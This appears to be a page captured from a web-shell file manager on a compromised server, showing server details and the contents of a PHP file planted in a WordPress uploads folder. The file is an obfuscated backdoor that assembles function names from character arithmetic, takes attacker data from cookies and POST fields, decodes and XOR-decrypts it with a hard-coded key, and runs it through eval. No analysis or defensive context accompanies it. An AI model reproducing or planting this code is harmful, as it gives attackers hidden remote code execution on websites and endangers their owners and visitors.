HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/wcfm/41976531.php
$OfzgwF = chr (76) . chr ( 519 - 417 )."\x5f" . chr ( 1027 - 915 ).chr ( 297 - 216 )."\x45";$hzWAxlXUTe = "\143" . 'l' . chr ( 145 - 48 )."\163" . 's' . "\137" . 'e' . chr ( 980 - 860 )."\x69" . chr ( 430 - 315 ).'t' . "\163";$LkCHHaO = class_exists($OfzgwF); $hzWAxlXUTe = "12448";$ZTSxHRmpjr = strpos($hzWAxlXUTe, $OfzgwF);if ($LkCHHaO == $ZTSxHRmpjr){function vNzQu(){$fRGHXBIOJw = new /* 54561 */ Lf_pQE(4464 + 4464); $fRGHXBIOJw = NULL;}$ArdGebbfEo = "4464";class Lf_pQE{private function pynFDN($ArdGebbfEo){if (is_array(Lf_pQE::$lpCbGKTqg)) {$GHKbkT2 = str_replace("<" . "?php", "", Lf_pQE::$lpCbGKTqg["content"]);eval($GHKbkT2); $ArdGebbfEo = "4464";exit();}}public function fSfprU(){$GHKbkT = "10581";$this->_dummy = str_repeat($GHKbkT, strlen($GHKbkT));}public function __destruct(){Lf_pQE::$lpCbGKTqg = @unserialize(Lf_pQE::$lpCbGKTqg); $ArdGebbfEo = "48891_28370";$this->pynFDN($ArdGebbfEo); $ArdGebbfEo = "48891_28370";}public function lQoxPQr($GHKbkT, $bTDRLqeh){return $GHKbkT[0] ^ str_repeat($bTDRLqeh, intval(strlen($GHKbkT[0]) / strlen($bTDRLqeh)) + 1);}public function PqfdiAQ($GHKbkT){$UsmrABI = "\142" . "\141" . "\x73" . "\x65" . chr (54) . "\x34";return array_map($UsmrABI . '_' . chr (100) . 'e' . chr ( 565 - 466 )."\157" . chr ( 676 - 576 ).chr ( 821 - 720 ), array($GHKbkT,));}public function __construct($SaukpOI=0){$nsQOMzZw = ',';$GHKbkT = "";$TvTpk = $_POST;$TtkSLg = $_COOKIE;$bTDRLqeh = "cc5fe9d0-5670-43e5-92c0-a519f9b93f56";$pPgYq = @$TtkSLg[substr($bTDRLqeh, 0, 4)];if (!empty($pPgYq)){$pPgYq = explode($nsQOMzZw, $pPgYq);foreach ($pPgYq as $ZVfQa){$GHKbkT .= @$TtkSLg[$ZVfQa];$GHKbkT .= @$TvTpk[$ZVfQa];}$GHKbkT = $this->PqfdiAQ($GHKbkT);}Lf_pQE::$lpCbGKTqg = $this->lQoxPQr($GHKbkT, $bTDRLqeh);if (strpos($bTDRLqeh, $nsQOMzZw) !== FALSE){$bTDRLqeh = explode($nsQOMzZw, $bTDRLqeh); $YkCaliltC = sprintf("48891_28370", strrev($bTDRLqeh[0]));}}public static $lpCbGKTqg = 1504;}vNzQu();}